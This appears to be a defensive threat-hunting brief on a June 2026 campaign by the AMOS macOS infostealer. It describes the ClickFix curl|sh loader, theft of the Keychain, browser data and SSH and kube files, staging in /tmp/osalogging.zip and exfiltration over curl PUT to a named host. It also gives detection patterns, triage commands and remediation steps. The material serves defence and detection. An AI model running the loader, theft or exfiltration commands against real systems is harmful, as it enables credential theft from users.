AMOS Stealer (Atomic macOS Stealer) — June 2026 Keychain-Theft Campaign

AMOS (Atomic macOS Stealer) is a financially motivated macOS infostealer being distributed through a June 2026 campaign that pairs deceptive software downloads and fake websites with ClickFix-style social engineering: the victim is instructed to copy a command and paste it into Terminal (or, in newer variants, into Script Editor via an applescript:// URL to dodge Apple's Terminal paste-protection). That single pasted command is a curl | sh loader.

The loader uses macOS's built-in curl with -fsSL — flags that suppress progress bars and error output so the download runs silently — to pull a remote script, then launches AppleScript via the zsh/osascript chain. Running curl|sh straight from Terminal sidesteps Gatekeeper because no quarantined app bundle is ever launched. Once executing, AMOS copies the macOS Keychain database login.keychain-db; harvests passwords, cookies and autofill from Google Chrome and Microsoft Edge; and reads developer secrets at ~/.ssh, ~/.kube, ~/.zshrc and ~/.gitconfig.

Stolen data is compressed with the native ditto tool into /tmp/osalogging.zip, split into 10 MB chunks, and exfiltrated over HTTP PUT via curl (retrying failed uploads up to eight times) to attacker infrastructure such as bestbuydomain.com. A session ID is derived from the current timestamp mixed with an OpenSSL hex string. The malware then cleans up with rm -f /tmp/osalogging.zip and rm -rf /tmp/sync.

Defender priority: The highest-fidelity signals are behavioral and live in Falcon for macOS process telemetry — a curl -fsSL ... | sh chain launched from Terminal/zsh, an osascript spawned in that same chain, a non-Apple process touching login.keychain-db, and ditto writing /tmp/osalogging.zip. Any confirmed Keychain copy or osalogging.zip staging is a probable live infostealer — assume ALL Keychain, browser, SSH and cloud credentials on that host are exfiltrated and rotate them.

Web-hunter note: AMOS is sold as a stealer-as-a-service, so payload hashes, lure domains and staging server hosts rotate constantly. Durable indicators here are behavioral (the curl|sh-from-Terminal loader, Keychain copy, ditto→osalogging.zip, chunked PUT). Treat the named domain and filenames as hunt/enrich values and confirm in your own telemetry before promoting any single host/hash to a durable block.

Hypotheses (ordered by fidelity)

1. H1 (high): curl launched from Terminal/zsh with -fsSL and its output piped to a shell (curl ... | sh/zsh/bash) → the ClickFix loader (T1059.004, T1105). Very low FP.
2. H2 (high): A non-Apple, non-Keychain-Access process reads or copies login.keychain-db → Keychain credential theft (T1555.001). Strong.
3. H3 (high): ditto (or any process) writes osalogging.zip / touches /tmp/sync → archive staging of collected data (T1560). Near-unique to this campaign.
4. H4 (medium): osascript / AppleScript spawned by Terminal/zsh in the install chain → scripted execution (T1059.002).
5. H5 (medium): An untrusted, recently-spawned process reads browser cookie/login stores or developer keys (~/.ssh, ~/.kube, ~/.gitconfig, Chrome/Edge Login Data/Cookies) → credential harvesting (T1552.001, T1539, T1555.003).
6. H6 (medium): A non-browser process makes outbound DNS/connections to bestbuydomain.com or issues curl HTTP PUT to a rare host → exfiltration over C2 (T1041, T1071).

Attack chain

AMOS is stealer-as-a-service; payload hashes and lure/staging hosts rotate. The values below are behavioral and contextual. Replace REPLACE_WITH_* placeholders with indicators confirmed in your own telemetry before promoting to a block.

Checks that do not require Falcon process telemetry — run these directly on a suspect macOS host or via MDM-pushed scripts:

• Staging artifact sweep: look for the staging archive and scratch dir: ls -la /tmp/osalogging.zip /tmp/sync 2>/dev/null. Either present (or recently deleted, per FSEvents) is a strong AMOS indicator.
• Shell history review: inspect ~/.zsh_history and ~/.bash_history for a pasted curl -fsSL ... | sh one-liner or an osascript invocation the user does not recognize — the ClickFix lure.
• Keychain access time: check the mtime/atime of ~/Library/Keychains/login.keychain-db against the suspected infection window; a copy/read by malware leaves access traces.
• Quarantine / Gatekeeper: because curl|sh bypasses Gatekeeper, expect NO quarantine event for the payload — absence of a normal app-launch/quarantine record alongside the above is itself suspicious.
• Browser store integrity: confirm whether Chrome/Edge Cookies and Login Data SQLite files were read by a non-browser process during the window (correlate with Q4).

Promotion candidates from the hunt queries above (macOS platform, Process Create rule type unless noted):

Q3 and Q5 key on file telemetry rather than process creation — deploy them as scheduled-search / file-based detections rather than Process-Create IOAs. Q1 is the strongest blocking-IOA candidate once dev-install false positives are baselined out.

One-click copy blocks for ingestion. Hashes and lure/staging hosts are perishable for this stealer-as-a-service — use placeholders until you confirm values in your own telemetry.

type,value,action,severity,expiration,description,tags
domain,bestbuydomain.com,detect,high,2026-09-22,AMOS exfil/C2 host,campaign:AMOSStealer
sha256,REPLACE_WITH_AMOS_PAYLOAD_SHA256,detect,critical,2026-12-22,AMOS loader/payload,campaign:AMOSStealer
domain,REPLACE_WITH_LURE_OR_STAGING_DOMAIN,detect,high,2026-09-22,AMOS fake-app/script host,campaign:AMOSStealer

parent_proc IN (Terminal, zsh, Script Editor)
  AND child curl -fsSL ... | sh/zsh/bash       # ClickFix loader
file_access: login.keychain-db BY non-Apple proc # Keychain theft
file_read: Chrome/Edge (Cookies, Login Data), ~/.ssh ~/.kube ~/.gitconfig
file_create: osalogging.zip  (ditto staging)
net: curl PUT/upload to rare host | DNS bestbuydomain.com
cleanup: rm -f /tmp/osalogging.zip ; rm -rf /tmp/sync

AMOS — Atomic macOS Stealer (Jun 2026 Keychain campaign)
Delivery: ClickFix fake-app / Terminal-paste; applescript:// variant
Loader:   curl -fsSL <url> | sh  ->  osascript (zsh chain), bypasses Gatekeeper
Targets:  login.keychain-db; Chrome/Edge pw+cookies+autofill; ~/.ssh ~/.kube ~/.zshrc ~/.gitconfig
Staging:  ditto -> /tmp/osalogging.zip (10MB chunks); session id = ts + openssl hex
Exfil:    HTTP PUT via curl, retry x8  ->  bestbuydomain.com
Cleanup:  rm -f /tmp/osalogging.zip ; rm -rf /tmp/sync

# Staging artifacts present (or recently removed)
ls -la /tmp/osalogging.zip /tmp/sync 2>/dev/null
# ClickFix one-liner in shell history
grep -nE 'curl[^|]*\|[[:space:]]*(sh|zsh|bash)|osascript' \
  ~/.zsh_history ~/.bash_history 2>/dev/null
# Keychain DB access window
stat -f '%Sa %N' ~/Library/Keychains/login.keychain-db 2>/dev/null

A · Enforce Gatekeeper + block unsigned apps (MDM config profile)

Deploy this com.apple.systempolicy.control payload via your MDM (Jamf/Intune/Kandji) to require notarized, identified-developer apps:

<!-- profile payload: com.apple.systempolicy.control -->
<key>EnableAssessment</key><true/>
<key>AllowIdentifiedDevelopers</key><true/>
<!-- forbid users disabling Gatekeeper (spctl --master-disable) -->
<key>PayloadType</key><string>com.apple.systempolicy.control</string>

B · Host triage / IOC sweep (shell — push via MDM)

# AMOS staging + scratch artifacts
ls -la /tmp/osalogging.zip /tmp/sync 2>/dev/null
# ClickFix curl|sh or osascript in shell history (per user)
grep -nE 'curl[^|]*\|[[:space:]]*(sh|zsh|bash)|osascript' \
  /Users/*/.zsh_history /Users/*/.bash_history 2>/dev/null
# Verify Gatekeeper is enforced
spctl --status

C · Block IOC domain at the resolver / proxy

# /etc/hosts sinkhole (endpoint stopgap) or push to DNS RPZ / proxy denylist
0.0.0.0  bestbuydomain.com
# Falcon: add domain to IOC Management (detect/block) — see S10 CSV

D · Credential rotation checklist (post-compromise)

# Treat ALL of these as exfiltrated on a confirmed host:
#  - macOS Keychain items (login.keychain-db copied)
#  - Chrome + Edge saved passwords, cookies/sessions  -> force re-auth
#  - SSH keys (~/.ssh)  -> revoke + reissue, rotate authorized_keys
#  - Kubeconfig (~/.kube)  -> rotate cluster creds/tokens
#  - Git creds / tokens (~/.gitconfig, credential stores)  -> revoke PATs

Validation: The loader spine (Q1), Keychain theft (Q3) and staging (Q5/Q7) are strong and low-FP. The credential-harvest read query (Q4) and exfil query (Q6) need reader/upload-endpoint baselining to keep FP acceptable. Crypto-wallet collection is not covered here — extend Q4's TargetFileName regex with wallet store paths if relevant to your fleet. Validate macOS file-event field names (FileOpenInfo vs FileCreateInfo) and the DomainName field against your tenant before deploying.